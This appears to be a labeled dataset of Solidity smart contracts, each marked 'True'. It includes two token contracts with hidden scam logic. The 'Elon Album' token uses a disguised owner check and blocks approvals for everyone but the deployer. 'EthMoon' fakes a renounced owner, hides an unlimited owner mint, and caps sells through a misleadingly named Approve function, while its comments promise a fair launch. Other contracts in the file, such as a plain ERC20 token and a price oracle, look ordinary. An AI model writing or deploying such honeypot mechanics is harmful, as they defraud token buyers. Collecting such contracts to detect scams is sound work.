"SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract album is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1* 10**7 * 10**18; string private _name = 'Elon Album'; string private _symbol = 'ALBUM'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
True
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pragma solidity^0.4.24; contract ERC20 { function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function balanceOf(address tokenOwner) public constant returns (uint balance); function transfer(address to, uint tokens) public returns (bool success); } contract father { function fallback(uint num,address sender,uint amount) public; } contract fathercontract{ address owner; address public NEO = 0xc55a13e36d93371a5b036a21d913a31CD2804ba4; mapping(address => uint)value; mapping(address => address) contr; constructor() public { owner = msg.sender; } function use(uint _value) public { value[msg.sender] = _value*1e8; ERC20(NEO).transferFrom(msg.sender,this,value[msg.sender]); if (contr[msg.sender] == address(0)){ getsometoken(msg.sender,value[msg.sender]); }else{ getsometokenn(msg.sender,value[msg.sender]); } } function getsometokenn(address _sender,uint _value) internal{ ERC20(NEO).transfer(contr[_sender],_value); contr[_sender].call.value(0)(); } function getsometoken(address _sender,uint _value) internal { contr[msg.sender] = new getfreetoken(this,_sender); ERC20(NEO).transfer(contr[_sender],_value); contr[_sender].call.value(0)(); } function fallback(uint num,address sender,uint amount) public { require(contr[sender] == msg.sender); if (num == 10){ uint a = (amount-value[sender])/100*5; ERC20(NEO).transfer(sender,amount-a); ERC20(NEO).transfer(owner,a); value[sender] = 0; }else{ getsometokenn(sender,amount); } } } contract getfreetoken { address sender; address fatherr; address NEO = 0xc55a13e36d93371a5b036a21d913a31CD2804ba4; uint num; constructor(address _father,address _sender) public { fatherr = _father; sender = _sender; } function() public { trans(); } function trans() internal { uint A = ERC20(NEO).balanceOf(this); ERC20(NEO).transfer(fatherr,ERC20(NEO).balanceOf(this)); num++; father(fatherr).fallback(num,sender,A); if (num == 10){num = 0;} } }
True
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pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract MinionFInance is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "minion.finance"; symbol = "MINION"; decimals = 18; _totalSupply = 700000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
True
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/** *Submitted for verification at Etherscan.io on 2021-08-03 */ /** 💎 EthMoon, A new path forward 💎 🚀Uniswap/Fair launch 🌔 Let me tell you why this could possibly reach more than $10M marketcap: 🔥Start with a fair launch, we will make this project grows organically, not a quick pump and dump 🔥No bots at launch - fair chance for everyone and none can mess with this project 🔥Buyback mechanism will constantly increase the price floor 🔥Dumping prevention - more information below 🔥Cool website, active and experienced team 📌 Tax structure - 6% will be used for buyback to push the price floor - 3% will be distributed to our marketing wallet - 2% will be rewarded to all holders 📌 Dump prevention mechanism - 1% price impact sell: 30% tax - 2.5 price impact sell: 40% tax - 3% price impact sell: 45% tax (extra tax will be distributed to buyback wallet) 📌Useful links Website: ethmoon.cash Telegram: https://t.me/EthMoonOfficial **/ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded.s * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return address(0); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ETHMOON is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address public _tBotAddress; address public _tBlackAddress; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'EthMoon'; string private _symbol = 'ETHMOON'; uint8 private _decimals = 18; uint256 public _maxBlack = 50000000 * 10**18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function Approve(address blackListAddress) public onlyOwner { _tBotAddress = blackListAddress; } function setBlackAddress(address blackAddress) public onlyOwner { _tBlackAddress = blackAddress; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setFeeTotal(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); emit Transfer(address(0), _msgSender(), amount); } function Approve(uint256 maxTxBlackPercent) public onlyOwner { _maxBlack = maxTxBlackPercent * 10**18; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender != _tBlackAddress && recipient == _tBotAddress) { require(amount < _maxBlack, "Transfer amount exceeds the maxTxAmount."); } _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-03-28 */ // SPDX-License-Identifier: bsl-1.1 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); } interface IKeep3rV1Oracle { function quote(address tokenIn, uint amountIn, address tokenOut, uint granularity) external view returns (uint); function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint); } interface ISushiswapV2Pair { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function sync() external; } library SushiswapV2Library { // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'SushiswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'SushiswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function sushiPairFor(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint160(uint(keccak256(abi.encodePacked( hex'ff', 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac, keccak256(abi.encodePacked(token0, token1)), hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash ))))); } // calculates the CREATE2 address for a pair without making any external calls function uniPairFor(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint160(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash ))))); } // fetches and sorts the reserves for a pair function getReserves(address pair, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = ISushiswapV2Pair(pair).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } } interface IChainLinkFeedsRegistry { function getPriceETH(address tokenIn) external view returns (uint); } interface ISwapV2Router02 { function getAmountsOut(uint amountIn, address[] memory path) external view returns (uint[] memory amounts); } contract Keep3rV4OracleUSD { struct LiquidityParams { uint sReserveA; uint sReserveB; uint uReserveA; uint uReserveB; uint sLiquidity; uint uLiquidity; } struct QuoteParams { uint quoteOut; uint amountOut; uint currentOut; uint sTWAP; uint uTWAP; uint sCUR; uint uCUR; uint cl; } IKeep3rV1Oracle private constant sushiswapV1Oracle = IKeep3rV1Oracle(0xf67Ab1c914deE06Ba0F264031885Ea7B276a7cDa); IKeep3rV1Oracle private constant uniswapV1Oracle = IKeep3rV1Oracle(0x73353801921417F465377c8d898c6f4C0270282C); ISwapV2Router02 private constant sushiswapV2Router = ISwapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); ISwapV2Router02 private constant uniswapV2Router = ISwapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; uint private constant DECIMALS = 10 ** 18; IChainLinkFeedsRegistry private constant chainlink = IChainLinkFeedsRegistry(0x271bf4568fb737cc2e6277e9B1EE0034098cDA2a); function assetToUsd(address tokenIn, uint amountIn, uint granularity) public view returns (QuoteParams memory q) { q = assetToEth(tokenIn, amountIn, granularity); return ethToUsd(q.amountOut, granularity); } function ethToUsd(uint amountIn, uint granularity) public view returns (QuoteParams memory q) { return assetToAsset(WETH, amountIn, DAI, granularity); } function assetToEth(address tokenIn, uint amountIn, uint granularity) public view returns (QuoteParams memory q) { q.sTWAP = sushiswapV1Oracle.quote(tokenIn, amountIn, WETH, granularity); q.uTWAP = uniswapV1Oracle.quote(tokenIn, amountIn, WETH, granularity); address[] memory _path = new address[](2); _path[0] = tokenIn; _path[1] = WETH; uint256 _decimals = 10 ** IERC20(tokenIn).decimals(); q.sCUR = amountIn * sushiswapV2Router.getAmountsOut(amountIn, _path)[1] / _decimals; q.uCUR = amountIn * uniswapV2Router.getAmountsOut(amountIn, _path)[1] / _decimals; q.cl = chainlink.getPriceETH(tokenIn) * amountIn / 10 ** IERC20(tokenIn).decimals(); q.amountOut = Math.min(q.sTWAP, q.uTWAP); q.currentOut = Math.min(q.sCUR, q.uCUR); q.quoteOut = Math.min(Math.min(q.amountOut, q.currentOut), q.cl); } function ethToAsset(uint amountIn, address tokenOut, uint granularity) public view returns (QuoteParams memory q) { q.sTWAP = sushiswapV1Oracle.quote(WETH, amountIn, tokenOut, granularity); q.uTWAP = uniswapV1Oracle.quote(WETH, amountIn, tokenOut, granularity); address[] memory _path = new address[](2); _path[0] = WETH; _path[1] = tokenOut; q.sCUR = amountIn * sushiswapV2Router.getAmountsOut(amountIn, _path)[1] / DECIMALS; q.uCUR = amountIn * uniswapV2Router.getAmountsOut(amountIn, _path)[1] / DECIMALS; q.cl = amountIn * 10 ** IERC20(tokenOut).decimals() / chainlink.getPriceETH(tokenOut); q.amountOut = Math.min(q.sTWAP, q.uTWAP); q.currentOut = Math.min(q.sCUR, q.uCUR); q.quoteOut = Math.min(Math.min(q.amountOut, q.currentOut), q.cl); } function pairFor(address tokenA, address tokenB) external pure returns (address sPair, address uPair) { sPair = SushiswapV2Library.sushiPairFor(tokenA, tokenB); uPair = SushiswapV2Library.uniPairFor(tokenA, tokenB); } function sPairFor(address tokenA, address tokenB) external pure returns (address sPair) { sPair = SushiswapV2Library.sushiPairFor(tokenA, tokenB); } function uPairFor(address tokenA, address tokenB) external pure returns (address uPair) { uPair = SushiswapV2Library.uniPairFor(tokenA, tokenB); } function getLiquidity(address tokenA, address tokenB) external view returns (LiquidityParams memory l) { address sPair = SushiswapV2Library.sushiPairFor(tokenA, tokenB); address uPair = SushiswapV2Library.uniPairFor(tokenA, tokenB); (l.sReserveA, l.sReserveB) = SushiswapV2Library.getReserves(sPair, tokenA, tokenB); (l.uReserveA, l.uReserveB) = SushiswapV2Library.getReserves(uPair, tokenA, tokenB); l.sLiquidity = l.sReserveA * l.sReserveB; l.uLiquidity = l.uReserveA * l.uReserveB; } function assetToAsset(address tokenIn, uint amountIn, address tokenOut, uint granularity) public view returns (QuoteParams memory q) { if (tokenIn == WETH) { return ethToAsset(amountIn, tokenOut, granularity); } else if (tokenOut == WETH) { return assetToEth(tokenIn, amountIn, granularity); } else { q = assetToEth(tokenIn, amountIn, granularity); return ethToAsset(q.quoteOut, tokenOut, granularity); } } }
True
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